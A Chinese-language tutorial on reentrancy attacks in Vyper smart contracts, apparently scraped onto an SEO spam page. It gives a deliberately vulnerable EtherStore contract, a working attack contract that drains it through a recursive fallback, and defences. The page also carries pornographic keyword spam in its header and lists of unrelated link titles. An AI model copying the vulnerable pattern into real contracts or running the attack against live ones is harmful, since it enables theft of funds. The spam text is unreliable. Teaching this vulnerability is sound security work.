中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當(dāng)前位置: 首頁(yè) > news >正文

做軟裝什么網(wǎng)站可以嗎建什么網(wǎng)站可以長(zhǎng)期盈利

做軟裝什么網(wǎng)站可以嗎,建什么網(wǎng)站可以長(zhǎng)期盈利,免費(fèi)的網(wǎng)站推廣 外貿(mào),百度競(jìng)價(jià)排名點(diǎn)擊軟件什么是重入攻擊 Reentrancy攻擊是以太坊智能合約中最具破壞性的攻擊之一。當(dāng)一個(gè)函數(shù)對(duì)另一個(gè)不可信合約進(jìn)行外部調(diào)用時(shí),就會(huì)發(fā)生重入攻擊。然后,不可信合約會(huì)遞歸調(diào)用原始函數(shù),試圖耗盡資金。 當(dāng)合約在發(fā)送資金之前未能更新其狀態(tài)時(shí)&#…

什么是重入攻擊

Reentrancy攻擊是以太坊智能合約中最具破壞性的攻擊之一。當(dāng)一個(gè)函數(shù)對(duì)另一個(gè)不可信合約進(jìn)行外部調(diào)用時(shí),就會(huì)發(fā)生重入攻擊。然后,不可信合約會(huì)遞歸調(diào)用原始函數(shù),試圖耗盡資金。

當(dāng)合約在發(fā)送資金之前未能更新其狀態(tài)時(shí),攻擊者可以不斷調(diào)用提取函數(shù)以耗盡合約資金。一個(gè)著名的真實(shí)世界重入攻擊案例是DAO攻擊,導(dǎo)致?lián)p失了6000萬(wàn)美元。
image.png

重入攻擊工作原理

重入攻擊涉及兩個(gè)智能合約。一個(gè)是易受攻擊的合約,另一個(gè)是攻擊者的不可信合約。

image.png

重入攻擊場(chǎng)景

  1. 易受攻擊的智能合約有10個(gè)ETH。
  2. 攻擊者使用存款函數(shù)存入1個(gè)ETH。
  3. 攻擊者調(diào)用提取函數(shù),并將惡意合約作為接收者。
  4. 現(xiàn)在提取函數(shù)將驗(yàn)證它是否可以執(zhí)行:
  • 攻擊者在其余額上有1個(gè)ETH嗎?是的,因?yàn)樗麄兊拇婵睢?/li>
  • 向惡意合約轉(zhuǎn)移1個(gè)ETH。(注意:攻擊者的余額尚未更新)
  • 惡意合約接收到ETH后的回退函數(shù)再次調(diào)用提取函數(shù)。

現(xiàn)在提取函數(shù)將再次驗(yàn)證它是否可以執(zhí)行:

  • 攻擊者在其余額上有1個(gè)ETH嗎?是的,因?yàn)橛囝~尚未更新。
  • 向惡意合約轉(zhuǎn)移1個(gè)ETH。
  • 如此反復(fù),直到攻擊者耗盡合約中的所有資金。

Vyper重入攻擊

可能大家對(duì)solidity的智能合約重入攻擊比較熟悉,本次文章中,我們將以Vyper的代碼展示重入攻擊的漏洞。
image.png

Vyper存在重入攻擊的代碼示例

# @version >=0.3.2"""
@notice EtherStore is a contract where you can deposit ETH and withdraw that same amount of ETH later.
This contract is vulnerable to re-entrancy attack. Here is the attack flow:
1. Deposit 1 ETH each from Account 1 (Alice) and Account 2 (Bob) into EtherStore.
2. Deploy the Attack contract.
3. Call the Attack contract's attack function sending 1 ether (using Account 3 (Eve)).You will get 3 Ethers back (2 Ether stolen from Alice and Bob,plus 1 Ether sent from this contract).What happened?
Attack was able to call EtherStore.withdraw multiple times before
EtherStore.withdraw finished executing.
"""# @notice Mapping from address to ETH balance held in the contract
balances: public(HashMap[address, uint256])# @notice Function to deposit ETH into the contract
@external
@payable
def deposit():self.balances[msg.sender] += msg.value# @notice Function to withdraw the ETH deposited into the contract
@external
def withdraw():bal: uint256 = self.balances[msg.sender]assert bal > 0, "This account does not have a balance"# @dev Send the user's balance to them using raw callraw_call(msg.sender, b'', value=bal)# @dev Set user's balance to 0self.balances[msg.sender] = 0# @notice Helper function to get the balance of the contract
@external
@view
def getBalance() -> uint256:return self.balance

Vyper利用上述重入漏洞的攻擊合約

# @version >=0.3.2"""
@notice Here is the order of function calls during the attack
- Attack.attack
- EtherStore.deposit
- EtherStore.withdraw
- Attack.default (receives 1 Ether)
- EtherStore.withdraw
- Attack.default (receives 1 Ether)
- EtherStore.withdraw
- Attack.ldefault (receives 1 Ether)
"""# @notice Interface with the Etherstore contract
interface IEtherstore:def deposit(): payabledef withdraw(): nonpayabledef getBalance() -> uint256: view# @notice The address where the Etherstore contract is deployed
victim: public(address)# @notice Set the victim address
@external
def setVictim(_victim:address):self.victim = _victim# @notice Default is called when EtherStore sends ETH to this contract.
@external
@payable
def __default__():# @dev Checks if the balance of the Etherstore contract is greater than 1 ETH (in wei)if IEtherstore(self.victim).getBalance() >= as_wei_value(1, "ether"):IEtherstore(self.victim).withdraw()@external
@payable
def attack():assert msg.value >= as_wei_value(1, "ether"), "Must send 1 ETH"IEtherstore(self.victim).deposit(value=as_wei_value(1, "ether"))IEtherstore(self.victim).withdraw()# @notice Helper function to get the balance of the contract
@external
@view
def getBalance() -> uint256:return self.balance

Vyper重入漏洞防御措施

  1. 使用 send() 代替 call():重入攻擊將失敗,因?yàn)?send() 不會(huì)轉(zhuǎn)發(fā)足夠的 gas 進(jìn)行下一步操作。

  2. 使用 @nonreentrant(<key>) 修飾符:在你的提取函數(shù)上應(yīng)用此修飾符將阻止重入攻擊。

總結(jié)

在這篇文章中,我們探討了Vyper智能合約中重入攻擊的機(jī)制、案例以及防御方法。重入攻擊是一種嚴(yán)重的安全威脅,當(dāng)合約在發(fā)送資金之前未能更新其狀態(tài)時(shí),攻擊者可以通過(guò)遞歸調(diào)用提取函數(shù)來(lái)耗盡合約資金。重入攻擊不僅僅在solidity中很常見(jiàn),在Vyper智能合約中同樣應(yīng)該注意!

http://m.risenshineclean.com/news/48631.html

相關(guān)文章:

  • 自己做的電影網(wǎng)站犯法嗎簡(jiǎn)述網(wǎng)絡(luò)營(yíng)銷的特點(diǎn)及功能
  • 網(wǎng)站設(shè)計(jì)流程長(zhǎng)沙互聯(lián)網(wǎng)推廣公司
  • 社交網(wǎng)站推廣怎么做做一個(gè)網(wǎng)站
  • 成都誰(shuí)做捕魚(yú)網(wǎng)站英文外鏈代發(fā)
  • 網(wǎng)絡(luò)營(yíng)銷的目的seo專業(yè)培訓(xùn)學(xué)費(fèi)多少錢
  • 張家港做網(wǎng)站多少錢條友網(wǎng)
  • 忠縣網(wǎng)站建設(shè)深圳網(wǎng)站建設(shè)優(yōu)化
  • 秦皇島平臺(tái)公司seo外鏈發(fā)布技巧
  • 網(wǎng)站手機(jī)端打不開(kāi)產(chǎn)品銷售方案與營(yíng)銷策略
  • 帶有響應(yīng)式的網(wǎng)站天津seo優(yōu)化排名
  • 現(xiàn)貨黃金什么網(wǎng)站可以做直播成都sem優(yōu)化
  • dw做網(wǎng)站常用標(biāo)簽傳智播客培訓(xùn)機(jī)構(gòu)官網(wǎng)
  • flash 網(wǎng)站制作青島網(wǎng)站建設(shè)方案優(yōu)化
  • wap網(wǎng)站定位鎮(zhèn)江百度關(guān)鍵詞優(yōu)化
  • 網(wǎng)站建設(shè)聯(lián)系方式做網(wǎng)絡(luò)優(yōu)化哪家公司比較好
  • delphi做網(wǎng)站開(kāi)發(fā)企業(yè)網(wǎng)站制作步驟
  • 仿糗事百科wordpress搜索引擎優(yōu)化面對(duì)哪些困境
  • 大連做網(wǎng)站哪家服務(wù)好磁力鏈最好用的搜索引擎
  • 數(shù)碼網(wǎng)站建設(shè)總體目標(biāo)軟文世界官網(wǎng)
  • 深圳網(wǎng)站建設(shè)黃浦網(wǎng)絡(luò)友情鏈接是免費(fèi)的嗎
  • 一級(jí)a做愛(ài)av網(wǎng)站百度新聞官網(wǎng)
  • 網(wǎng)站受眾群體設(shè)計(jì)網(wǎng)站的軟件
  • 專門做頭像的網(wǎng)站一個(gè)產(chǎn)品的市場(chǎng)營(yíng)銷策劃方案
  • wordpress 無(wú)法登陸 后臺(tái)快速seo整站優(yōu)化排行
  • 做網(wǎng)站不實(shí)名認(rèn)證可以嗎免費(fèi)的行情網(wǎng)站app
  • 用lamp搭wordpress關(guān)鍵詞排名優(yōu)化技巧
  • dede網(wǎng)站地圖文章變量合肥網(wǎng)站seo公司
  • 閬中網(wǎng)站建設(shè)優(yōu)化網(wǎng)站關(guān)鍵詞優(yōu)化
  • 網(wǎng)上最好的網(wǎng)站模塊免費(fèi)域名注冊(cè)網(wǎng)站
  • 專門做三國(guó)戰(zhàn)紀(jì)的網(wǎng)站叫什么旅游企業(yè)seo官網(wǎng)分析報(bào)告